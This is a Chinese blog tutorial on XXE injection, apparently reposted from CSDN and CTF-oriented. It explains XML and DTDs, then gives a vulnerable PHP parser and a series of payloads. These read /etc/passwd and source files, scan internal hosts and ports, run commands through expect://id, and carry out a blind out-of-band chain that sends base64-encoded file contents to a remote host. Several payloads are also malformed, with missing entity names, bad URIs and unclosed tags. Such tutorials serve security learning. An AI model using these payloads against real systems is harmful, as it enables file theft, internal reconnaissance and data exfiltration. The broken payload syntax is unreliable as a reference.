XML外部实体注入基础

XML外部实体注入

什么是xml,DTD

xml+dtd

<?xml version = "1.0" encoding = "UTF-8" standalone = "yes" ?>
<!DOCTYPE address [ <!ELEMENT address (name,company,phone)>
        <!ELEMENT name (#PCDATA)>
        <!ELEMENT company (#PCDATA)>
        <!ELEMENT phone (#PCDATA)> ]>
<address><name>Tanmay Patik</name><company>TutorialsPoint</company> <phone>(011)123-4567</phone></address>

xml

<?xml version="1.0" encoding="utf-8" ?>
<!--引入dtd文件,约束这个xml-->
<!DOCTYPE 班级 SYSTEM "xxe.dtd">
<班级>
    <学生>
        <名字>小宏</名字>
        <年龄>20</年龄>
        <介绍>ctf小白</介绍>
    </学生>
</班级>

xml的优点

xml是互联网数据传输的重要工具,它可以跨越互联网任何的平台,不受编程语言和操作系统的限制,非常适合Web传输,而且xml有助于在服务器之间穿梭结构化数据,方便开发人员控制数据的存储和传输。
而且在配置文件里边所有的配置文件都是以XMl的格式来编写的,跨平台进行数据交互,它可以跨操作系统,也可以跨编程语言的平台,所以可以看出XML是非常方便的,应用的范围也很广,但如果存在漏洞,那危害就不言而喻了

  语法
1.XML元素都必须有关闭标签。
2.XML 标签对大小写敏感。
3.XML 必须正确地嵌套。
4.XML 文档必须有根元素。
5.XML 的属性值须加引号。
  结构
1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素

dtd

  • Document Type Definition文档类型定义
  • https://www.tutorialspoint.com/dtd/dtd_elements.htm
  • <!ELEMENT元素名类型>
  • <!ELEMENT班级(学生+)>
<!ELEMENT 班级 (学生+)>
<!ELEMENT 学生 (名字,年龄,介绍)>
<!ELEMENT 名字 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ELEMENT 介绍 (#PCDATA)>

外部实体( XML中对数据的引用称为实体,外部实体用来引入外部资源

有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php


例如:
<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >

xxe漏洞

什么是xxe漏洞

  • XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

例子

<?php
error_reporting(0);
echo LIBXML_DOTTED_VERSION;
libxml_disable_entity_loader(false);   //false时才能利用外部实体
$xmlfile = file_get_contents('php://input');   //类似文件包含读取文件
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_BIGLINES | LIBXML_NOWARNING | LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

无过滤的xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&xee;
</ctfshow>
</root>

XXE实战(具体应用举例)

文件读取

利用file:// php://等伪协议进行文件获取(获取代码最好使用php://file://进行base64编码)

php://filter/convert.base64-encode/resource=1.php

<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=1.php">]>----DTD部分
<catalog>
	<core id ="test101">
		<author>John</author>
		<title>I love XML</title>
		<category>Computers</category>------XML部分
		<pricr>9.99</pricr>
		<data>2018-10-01</data>
		<description>&xxe;</description>---内容在$xxe处回显

系统文件读取

<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分
<catalog>
	<core id ="test101">
		<author>John</author>
		<title>I love XML</title>
		<category>Computers</category>------XML部分
		<pricr>9.99</pricr>
		<data>2018-10-01</data>
		<description>&xxe;</description>

内网主机扫描

利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断

<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>----DTD部分
<catalog>
	<core id ="test101">
		<author>John</author>
		<title>I love XML</title>
		<category>Computers</category>------XML部分
		<pricr>9.99</pricr>
		<data>2018-10-01</data>
		<description>&xxe;</description>

端口探测

代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启

<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">]>----DTD部分
<catalog>
	<core id ="test101">
		<author>John</author>
		<title>I love XML</title>
		<category>Computers</category>------XML部分
		<pricr>9.99</pricr>
		<data>2018-10-01</data>
		<description>&xxe;</description>

远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上,那么我们就可以执行如下命令

<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "expect://id">]>----DTD部分
<catalog>
	<core id ="test101">
		<author>John</author>
		<title>I love XML</title>
		<category>Computers</category>------XML部分
		<pricr>9.99</pricr>
		<data>2018-10-01</data>
		<description>&xxe;</description>

XXE-进阶(Blind OOB XEE)

很多时候XXE并不会把我们想要 读取的内容直接返回给我们(没有回显)类似于SQL注入中的盲注一样,关键数据不会直接显示在界面或则数据包中

利用file_put_contents写文件

这里XXE如果无回显,采用构建一条外带数据(OOB)通道把数据带出来直接写文件已达到读取数据的目的

构造payload1

<!DOCTYPE convert [<!ENTITY % SYSTEM "http://192.168.1.1/xxe.dtd">]
%remote
%int
%send
>----DTD部分  从192.168.1.1下载payload2
<catalog>
	<core id ="test101">
		<author>John</author>
		<title>I love XML</title>
		<category>Computers</category>------XML部分
		<pricr>9.99</pricr>zhe
		<data>2018-10-01</data>
		<description>&xxe;</description>

payload2

<!DOCTYPE TEST [<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=key.php">]>
<!DOCTYPE TEST [<!ENTITY %int "<ENTITY &#37;send SYSTEM 'http://192.168.0.1/xxe.php?p=%file;'>">]>

猜你喜欢

转载自blog.csdn.net/qq_63928796/article/details/128199689
今日推荐